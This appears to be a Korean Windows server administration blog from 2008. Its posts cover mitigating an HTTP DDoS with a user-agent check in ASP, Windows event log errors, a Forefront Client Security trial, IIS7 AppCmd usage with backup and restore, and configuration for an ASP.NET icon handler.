모니터링후 실제 임시 조치를 하기까지 약 1시간 정도 소요가 되었습니다. 이 소요시간은 해당 웹서버의 자체 서비스로도 초기에는 충분 처리가 가능하였으나 그 이후 워커 프로세스에서 장애가 계속해서 장애가 발생하여 그 다음 대처 과정 이었습니다.

이 공격 패턴은, 공격지에서 특정 도메인에 대한 웹연결후 바로 끊어 버리는 방법입니다. 웹서버로의 요청이 포트만 오픈하는게 아니라 GET 요청 처리까지 입니다.

2008-05-04 12:34:20 GET /default.asp - - 124.53.201.50 - - 200 0 0
2008-05-04 12:34:20 GET /default.asp - - 121.175.170.91 - - 200 0 0
2008-05-04 12:34:20 GET /default.asp - - 211.212.153.39 - - 200 0 0
2008-05-04 12:34:20 GET /default.asp - - 211.109.18.29 - - 200 0 0
2008-05-04 12:34:20 GET /default.asp - - 211.237.213.84 - - 200 0 0
2008-05-04 12:34:20 GET /default.asp - - 124.54.173.45 - - 200 0 0
2008-05-04 12:34:20 GET /default.asp - - 61.252.201.187 - - 200 0 0
2008-05-04 12:34:20 GET /default.asp - - 220.72.182.154 - - 200 0 0


하지만 실제 공격지에서는 서버측에서 리턴되는 데이터를 수신하지 않습니다.
공격자가 프로그램에서 그런것까지 구현을 해놓을 이유가 전혀 없기 때문이지요..;;

해당 사이트 인스턴스의 기본 페이지가 default.asp 입니다. 말하자면 도메인 쿼리만 해서 접속 요청을 한다는 것입니다.

default.asp 파일에는 해당 웹사이트의 정상적인 운영을 위해서 여러가지 코드가 작성되어 있습니다.

이러한 코드는 예상되는 정상적인 범위내에서 안정적인 운영이 가능하도록 작성이 되어 있지만 DDoS 공격이 발생할 경우 큐갯수(2만개)를 훨씬 초과하는 요청이 들어오기 때문에 웹서버는 default.asp 코도 처리 때문에 CPU 로드가 100% 유발하게 됩니다.

이때 해당 서버의 상황은,. 큐갯수초과 뿐만 아니라 CPU로드 100%, 네트워크 세션의 엄청난 연결로 인해서 서비스 장애가 발생하게 됩니다.

물론 IPS 하단으로 옮겨서 차단하는 방법도 있겠으나,. 코드상 약간의 처리만으로도 리소스 사용율을 낮출수가 있습니다.

위 로그를 보면,. IP 주소외에는 어떠한 컬럼의 값도 없습니다.
말하자면,. 일반적은 브라우져 형태가 아닌 소켓으로 직접 요청하는 방법이겠지요.;;

<%
  if Request.ServerVariables("http_user_agent") = "" then
    Response.Redirect "http://192.168.1.1/"   
  else
    Response.Redirect "default2.asp"
  end if
%>

기존의 인덱스 페이지를 default2.asp 로 변경하고 default.asp 는 위처럼 코드를 변경하였습니다. 일반적인 브라우져에서 넘겨주는 user agent 값을 체크하는 것인데요.,.

상단의 Http 연결과 CPU 로드 차트를 보면,. 꾀나 효과적인 처리인것 같습니다.
물론 CPU로드는 위의 간단한 코드 처리만으로도 30~40% 가 나올만큼 요청이 계속 되었습니다.

서버 자체에서 더 좋은 처리 방법이라고 한다면,.
WebKnight UrlScan 같은 ISAPI 필터를 이용했다면 default.asp 코드를 처리하지 않아도 되기 때문에 훨씬 깔끔한 방어가 될것 같습니다.

위와 같은 방법은,.
어디까지나 서버자체에서 처리가능한 한계내에서의 방법이고 되도록이면 IPS 하단에서 서비스를 하는게 가장 좋은 선택 입니다.


05-ddos-mrtg-http-day.gif
05-ddos-mrtg-traffic-day.gif
05-ddos-mrtg-cpu-day.gif

2008/05/05

VSS / ID: 6005

Sqllib 오류: 데이터베이스 %1은(는) 여러 개의 볼륨에 저장되어
있으며, 그 중 일부만 섀도 복사되고 있습니다.

Kbdclass / ID: 9

연결된 포트 장치의 인터럽트를 사용 가능하게 설정하지 못했습니다.

Dhcp / ID: 1001

사용자 컴퓨터의 네트워크 주소가 00E091002726인 네트워크 카드용으로 네트워크의 DHCP 서버로부터 주소를 지정받지 못했습니다. 다음 오류가 발생했습니다:
사용자가 작업을 취소했습니다. . 네트워크 주소(DHCP) 서버로부터 컴퓨터의 주소를 얻기 위해서 계속 시도합니다.

2008/05/03

Microsoft Forefront Client Security 평가판 - 안티바이러스 툴, 백신



5월 1일자로 한글판 Forefront Client Security 평가판이 배포 되고 있네요.;
왜 평가판이 없지 라는 생각 이었는뎅...^^;;

Microsoft® Forefront™ Client Security는 간편하게 관리 및 제어할 수 있는 업무용 데스크톱, 랩톱 및 서버 운영 체제를 보호하는 통합 맬웨어 방지 소프트웨어입니다.

참고, http://www.wssplex.net/TipnTech.aspx?Seq=278
테크넷, http://technet.microsoft.com/ko-kr/library/bb432630.aspx

중앙 집중 관리를 통한 간편한 관리, 그리고 위협이나 취약점을 결정적으로 감지함으로써 Microsoft Forefront Client Security는 신뢰성 있고 효과적인 방법으로 업무를 보호합니다.


다운로드:

http://www.microsoft.com/downloads/details.aspx?FamilyID=7d0fbe8d-
0174-4b49-b0e9-bbe6dfad3f79&DisplayLang=ko



여타 백신처럼 클라이언트 버젼과 서버 버젼의 차이가 없는 단일 소프트웨어 이고, 단지 Exchange, Edge 등 추가 기능별로 별도로 분류되어 있습니다. 그리고, Stirling 이라는 새로운 버젼이 준비중에 있습니다.

참고, http://www.microsoft.com/forefront/easyeasier/trialdownloads.aspx

운영 체제:

 - Microsoft Windows® 2000 서비스 팩 4
 - Windows XP 서비스 팩 2(x86 또는 x64)
 - Windows Vista™ Business, Enterprise 또는 Ultimate Edition(x86 또는 x64)
 - Windows Server 2003 서비스 팩 1(x86 또는 x64)
 - Windows Server 2003 R2(x86 또는 x64)



03-forefont-client-security.gif

2008/05/02

IIS-W3SVC / ID: 1007

로그 이름: System
원본: Microsoft-Windows-IIS-W3SVC

World Wide Web Publishing 서비스(WWW 서비스)에서 300 사이트에 대해 URL 접두사 http://www.wssplex.net:80/을(를) 등록하지 못했습니다. 필요한 네트워크 바인딩이 이미 사용 중일 수 있습니다. 사이트를 사용할 수 없습니다. 데이터 필드에 오류 번호가 있습니다.

IIS 명령줄 관리 도구, AppCmd : 사이트 및 응용 프로그램 풀 상태

응용 프로그램 풀 상태

C:\Windows\System32\inetsrv>appcmd.exe list apppool /text:*
에서 또는 응용 프로그램 풀 관련 xml 에서 지원하는 속성값을 확인하여 파라미터를 추가하여 조회 가능

C:\Windows\System32\inetsrv>appcmd.exe list apppool www.wssplex.net
APPPOOL "www.wssplex.net" (MgdVersion:v2.0,MgdMode:Integrated,state:Started)

C:\Windows\System32\inetsrv>appcmd.exe list apppool /state:started
C:\Windows\System32\inetsrv>appcmd.exe list apppool /enable32BitAppOnWin64:"false"


실행중인 작업자 프로세스

C:\Windows\System32\inetsrv>appcmd.exe list wps
WP "3880" (applicationPool:DefaultAppPool)

C:\Windows\System32\inetsrv>appcmd.exe list wps /apppool.name:DefaultAppPool
WP "3880" (applicationPool:DefaultAppPool)

C:\Windows\System32\inetsrv>appcmd list wp "3897"


현재 요청 내역 확인

C:\Windows\System32\inetsrv>appcmd.exe list requests
REQUEST "f500000080000005" (url:GET /favicon.ico, time:16 msec, client:localhost, stage:SendResponse
, module:IIS Web Core)


C:\Windows\System32\inetsrv>appcmd.exe list requests /apppool.name:DefaultAppPool
C:\Windows\System32\inetsrv>appcmd.exe list requests /wp.name:3897
C:\Windows\System32\inetsrv>appcmd.exe list requests /wp.name:3897

IIS 명령줄 관리 도구, AppCmd : 사이트, 응용프로그램, 가상디렉토리, 응용프로그램풀

사이트 목록

C:\Windows\System32\inetsrv>appcmd.exe list sites
SITE "Default Web Site" (id:1,bindings:http/*:80:,state:Started)
SITE "
www.wssplex.net" (id:300,bindings:http/*:80:www.wssplex.net,http/*:80:wssplex.net,state:Stoppe
d)
SITE "
www.serverinfo.pe.kr" (id:301,bindings:http/*:80:,state:Stopped)


사이트 추가

C:\Windows\System32\inetsrv>appcmd.exe add site /name:www.serverinfo.pe.kr
 /bindings:"http/*:80:" /p
hysicalPath:"C:\inetpub\wwwroot"
SITE 개체 "www.serverinfo.pe.kr"을() 추가했습니다.
APP 개체 "
www.serverinfo.pe.kr/"을(를) 추가했습니다.
VDIR 개체 "
www.serverinfo.pe.kr/"을(를) 추가했습니다.


응용프로그램 목록

C:\Windows\System32\inetsrv>appcmd.exe list app
APP "Default Web Site/" (applicationPool:DefaultAppPool)
APP "Default Web Site/default_test" (applicationPool:DefaultAppPool)
APP "
www.wssplex.net/" (applicationPool:www.wssplex.net)
APP "
www.serverinfo.pe.kr/" (applicationPool:DefaultAppPool)


응용프로그램 추가


C:\Windows\System32\inetsrv>appcmd.exe add app /site.name:www.wssplex.net
/path:/test2 /physicalPath:c:\inetbpud\wwwroot
APP 개체 "www.wssplex.net/test2"을(를) 추가했습니다.
VDIR 개체 "
www.wssplex.net/test2"을(를) 추가했습니다.


응용프로그램 풀 목록


C:\Windows\System32\inetsrv>appcmd.exe list apppool
APPPOOL "DefaultAppPool" (MgdVersion:v2.0,MgdMode:Integrated,state:Started)
APPPOOL "
www.wssplex.net" (MgdVersion:v2.0,MgdMode:Integrated,state:Started)


응용프로그램의 응용프로그램 풀 설정

C:\Windows\System32\inetsrv>appcmd.exe set app "www.wssplex.net/test2"
/applicationPool:test
APP 개체 "www.wssplex.net/test2"을(를) 변경했습니다.


응용프로그램 풀의 상세 설정값

C:\Windows\System32\inetsrv>appcmd.exe list apppool "www.wssplex.net" /text:*
APPPOOL
  APPPOOL.NAME:"
www.wssplex.net"
  PipelineMode:"Integrated"
  RuntimeVersion:"v2.0"
  state:"Started"
  [add]
    name:"
www.wssplex.net"
    queueLength:"1000"
    autoStart:"true"
    enable32BitAppOnWin64:"false" ........................



응용프로그래 풀 설정값 변경


C:\Windows\System32\inetsrv>appcmd.exe set apppool
/apppool.name "
www.wssplex.net" /autoStart:false
APPPOOL 개체 "www.wssplex.net"을(를) 변경했습니다.


IIS 명령줄 관리 도구, AppCmd : ADD, SET, DELETE

개체 추가:

C:\Windows\System32\inetsrv>appcmd.exe add site /name:www.serverinfo.pe.kr
/bindings:"http/*:80:" /p
hysicalPath:"C:\inetpub\wwwroot"
SITE 개체 "www.serverinfo.pe.kr"을(를) 추가했습니다.
APP 개체 "
www.serverinfo.pe.kr/"을(를) 추가했습니다.
VDIR 개체 "
www.serverinfo.pe.kr/"을(를) 추가했습니다.


개체 설정:

C:\Windows\System32\inetsrv>appcmd.exe set site "www.wssplex.net" /id:300
SITE 개체 "www.wssplex.net"을(를) 변경했습니다.


개체 삭제:

C:\Windows\System32\inetsrv>appcmd.exe delete site "www.serverinfo.pe.kr"
SITE 개체 "www.serverinfo.pe.kr"을(를) 삭제했습니다.


다음과 같은 개체에 add, set, delete 명령어 지원이 가능하며,. 

 SITE      가상 사이트 관리
  APP       응용 프로그램 관리
  VDIR      가상 디렉터리 관리
  APPPOOL   응용 프로그램 풀 관리
  CONFIG    일반 구성 섹션 관리
  WP        작업자 프로세스 관리
  REQUEST   HTTP 요청 관리
  MODULE    서버 모듈 관리
  BACKUP    서버 구성 백업 관리
  TRACE     실패한 요청 추적 로그로 작업


각 오브젝트별 지원되는 파라미터는 appcmd 명령어 오브젝트 /? 를 하면 자세한 도움말 및 예제를 볼수 있습니다.


IIS 명령줄 관리 도구, AppCmd : 목록 및 찾기

사이트 목록:
C:\Windows\System32\inetsrv>appcmd.exe list sites
SITE "Default Web Site" (id:1,bindings:http/*:80:,state:Started)
SITE "
www.wssplex.net" (id:2,bindings:http/*:80:www.wssplex.net,http/
*:80:wssplex.net,state:Started)


사이트 목록을 xml 로 출력:

C:\Windows\System32\inetsrv>appcmd.exe list sites /xml
<?xml version="1.0" encoding="UTF-8"?>
<appcmd>
    <SITE SITE.NAME="Default Web Site" SITE.ID="1" bindings="http/*:80:" state="Stopped" />
    <SITE SITE.NAME="
www.wssplex.net" SITE.ID="300" bindings="http/*:80:www.wssplex.net,http/*:80:ws
splex.net" state="Started" />
    <SITE SITE.NAME="
www.serverinfo.pe.kr" SITE.ID="301" bindings="http/*:80:" state="Started" />
</appcmd>



특정 사이트 이름 :
C:\Windows\System32\inetsrv>appcmd.exe list sites "www.wssplex.net"
SITE "www.wssplex.net" (id:2,bindings:http/*:80:www.wssplex.net,http/
*:80:wssplex.net,state:Started)



사이트 상태 :
C:\Windows\System32\inetsrv>appcmd.exe list sites /state:started
SITE "Default Web Site" (id:1,bindings:http/*:80:,state:Started)
SITE "
www.wssplex.net" (id:2,bindings:http/*:80:www.wssplex.net,http/
*:80:wssplex.net,state:Started)



지정된 URL과 연결된 사이트 :
C:\Windows\System32\inetsrv>appcmd list site http://localhost/app1


백업 목록 :
C:\Windows\System32\inetsrv>appcmd.exe list backup
BACKUP "testbackup"
BACKUP "CFGHISTORY_0000000001"



응용프로그램 목록 :
C:\Windows\System32\inetsrv>appcmd.exe list  app
APP "Default Web Site/" (applicationPool:DefaultAppPool)
APP "
www.wssplex.net/" (applicationPool:www.wssplex.net)


응용프로그램 풀 목록 :
C:\Windows\System32\inetsrv>appcmd.exe list apppool
APPPOOL "DefaultAppPool" (MgdVersion:v2.0,MgdMode:Integrated,state:Started)
APPPOOL "
www.wssplex.net" (MgdVersion:v2.0,MgdMode:Integrated,state:Started)


작업자 프로세스 목록 :
C:\Windows\System32\inetsrv>appcmd.exe list wp
WP "3984" (applicationPool:DefaultAppPool)


등록된 모듈 목록 :
C:\Windows\System32\inetsrv>appcmd.exe list module
MODULE "HttpCacheModule" ( native, preCondition: )
MODULE "StaticCompressionModule" ( native, preCondition: )
MODULE "DefaultDocumentModule" ( native, preCondition: )



등 이외에도,. AppCmd 에서 지원하는 오브젝트에서 list 가능

  SITE      가상 사이트 관리
  APP       응용 프로그램 관리
  VDIR      가상 디렉터리 관리
  APPPOOL   응용 프로그램 풀 관리
  CONFIG    일반 구성 섹션 관리
  WP        작업자 프로세스 관리
  REQUEST   HTTP 요청 관리
  MODULE    서버 모듈 관리
  BACKUP    서버 구성 백업 관리
  TRACE     실패한 요청 추적 로그로 작업


IIS 명령줄 관리 도구, AppCmd : 백업 및 복원

Backup: 백업

C:\Windows\System32\inetsrv>appcmd.exe add backup "testbackup"
BACKUP 개체 "testbackup"을(를) 추가했습니다.

C:\Windows\System32\inetsrv>appcmd.exe add backup
BACKUP 개체 "20080501T150707"을(를) 추가했습니다.

C:\Windows\System32\inetsrv>appcmd.exe list backup
BACKUP "testbackup"
BACKUP "CFGHISTORY_0000000001"
BACKUP "CFGHISTORY_0000000002"
BACKUP "CFGHISTORY_0000000003"
BACKUP "CFGHISTORY_0000000004"
BACKUP "CFGHISTORY_0000000005"
BACKUP "CFGHISTORY_0000000006"
BACKUP "CFGHISTORY_0000000007"
BACKUP "CFGHISTORY_0000000008"



C:\Windows\System32\inetsrv>appcmd.exe list backup "testbackup"
BACKUP "testbackup"

백업은,.  administratoration.config / applicationhost.config / redirection.configscheme 중에 추가된 모듈의 설정 xml 파일 등입니다.


Restore: 복원

C:\Windows\System32\inetsrv>appcmd.exe restore backup "testbackup"
"testbackup" 백업에서 구성을 복원했습니다.

WSSPLEX\Administrator 사용자로부터 IIS 중지 명령을 받았습니다.
WSSPLEX\Administrator 사용자로부터 IIS 중지 명령을 받았습니다.


복원 명령의 경우 iis 재시작 하게 됩니다.
임의로 재시작을 하려면 파라미터에 /stop:false 옵션을 주면 됩니다.



01-iis7-appcmd-backup-restore.png

2008/05/01

IconHandler 2.0: ASP.NET 에서 동적 아이콘 처리 Handler

http://mvolo.com/blogs/serverside/archive/2008/04/27/IconHandler-2.0
-File-icons-in-ASP.NET-applications.aspx


나름 꾀나 괜찮은 아이디어 같네요..^^;;

IconHandler 2.0 는, 웹사이트에 표시되는 파일 확장자에 따른 아이콘을 출력해 주는 핸들러 입니다. 물론 굳이 핸들러가 아니더라도 직접 만들수 있겠지만 특히 파일 자료실 같은데에 쓰면 유용할것 같습니다.^^

<configuration>
  <configSections>
    <section name="iconHandler"
           type="Mvolo.ShellIcons.Web.ShellIconHandlerConfigurationSection" />
  </configSections>
 
  <system.webServer>
     <handlers>
      <add name="iconhandler" path="geticon.axd" verb="GET"
                 type="Mvolo.ShellIcons.Web.ShellIconHandler" />
    </handlers>
 
    <validation validateIntegratedModeConfiguration="false" />
  </system.webServer>
 
  <system.web>
    <httpHandlers>
      <add path="geticon.axd" verb="GET" type="Mvolo.ShellIcons.Web.ShellIconHandler" />
    </httpHandlers>
  </system.web>
 
  <iconHandler enabled="true"
              alwaysUseExtension="true"
              enableClientCaching="true"
              enableServerCaching="true" />
 
</configuration>


아이콘은 해당 ASP.NET 어플리케이션이 돌아가는 서버의 SHGetFileInfo API 를 호출하여 해당 서버에 등록되어 있는 아이콘 타입을 가져오거나,. IconGen.exe 를 통해서 직접 지정할수도 있네요..

SHGetFileInfo 참고 :
http://support.microsoft.com/kb/319350/en-us
http://msdn.microsoft.com/en-us/library/bb762179.aspx

또한 캐싱 옵션도 지원하고,.
핸들러가 아닌 라이브리 참조를 통해서도 구현이 가능하도록 해놓은것 같습니다.

다운로드 파일에는,.
추가용 web.config , ShellIconHandler.dll ShellIcons.dll

음... 어디다가 써먹어 볼까?........

가장 많이 본 글